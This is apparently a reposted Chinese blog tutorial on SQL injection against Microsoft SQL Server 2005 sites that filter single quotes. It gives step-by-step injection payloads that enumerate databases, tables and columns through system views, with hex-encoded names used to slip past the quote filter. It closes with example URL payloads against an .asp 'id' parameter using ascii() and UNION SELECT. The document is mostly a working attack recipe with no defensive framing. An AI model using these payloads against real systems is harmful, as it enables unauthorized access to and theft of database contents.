SQL2005过滤单引号的注入方式
其中 爆列名有点麻烦
mssql 2005
1:
and 1=(SELECT @@VERSION)-- 判断数据库版本
(master.dbo.sysdatabases 表存放着sql2005数据库系统的所有的数据库信息
查询命令:user master;
SELECT * FROM MASTER.DBO.SYSDATABASES
系统默认的数据库有:1master 2tempdb 3model 4msdb)
2:dbid变量爆数据库名称
AND 1 IN (SELECT NAME FROM MASTER.DBO.SYSDATABASES WHERE DBID=3)
改变DBID值依次爆出!到无法爆出位置~!
3:获取表明
(MSSQL2005 每个数据库都有一个用来存放表明信息的表,PUBLIC权限即可查询!
表明为:INFORMATION_SCHEMA.TABLES
USE MASTER ;
SELECT * FROM INFORMATION_SCHEMA.TABLES;
INFORMATION_SCHEMA.TABLES表的机构:
TABLE_NAME
1 XXX
2 XXX
3 XXX
...
而表明就存在TABLE_NAME的列里)
4:TOP 1爆出表名
AND 1 IN (SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES)
更换TOP 1 即可爆出其它的。
5:获取爆出表的内容 加上条件语句:where table_name!=0XXXXX (0xxx为上一步你爆出表明的16进制!)
AND 1 IN (SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLENAME!=0XXXXX)
6:爆列名了
MSSQL2005 SYS.ALL_OBJECTS表里存放着表与列的信息,表的列明:其列名OBJECT_ID里存放着一个数值,对应着另一个表名SYS.ALL_COLUMNS里的列明的ID,而SYS.ALL_COLUMNS表里存放着列的信息
执行:select * from sys.all_objects
表的机构
name object_id xxx_id schema_id xxx_id
1 sysXXX 12
2 sysXXX 8
3
4
由结构可知,列名name和列名object_id是有对应的。注入时,通过指定的name值爆指定表的object_id值
AND 999999< (SELECT TOP 1 CAST([OBJECT_ID] AS NVARCHAR(20)) FROM SYS.ALL_OBJECTS WHERE NAME=0XXX
但是此句无法爆出数据值,用折半法来进行猜解,由于其数值都在10位以上,所有,其法也不太可能,但是可以联合两张表来直接查询,在此提交:
AND 9 IN (SELECT B.NAME FROM SYSOBJECTS A,SYSCOLUMNS B WHERE A.ID=B.ID AND A.NAME=0XXXXXXX)--
就可以爆出0xxxxx的第一个列名,可以加入条件
'and B.NAME!=0X 0X为已爆出的列名,类推可以一次爆出。
AND 9 IN(SELECT B.NAME FROM SYSOBJECTS A,SYSCOLUMNS B WHERE A.ID=B.ID AND A.NAME=0XXXXX AND B.NAME!=0XBBBBBB)--
最终:
表名和列名爆完后:,获取值就很简单
例如: xch40.asp?id=1 and 77=(select ascii(@@VERSION))
xch40.asp?id=1 and 1=2 UNSION SELECT 1,2,3,4...@VERSION--...
转载请注明来自WebShell'S Blog,本文地址:https://www.webshell.cc/2348.html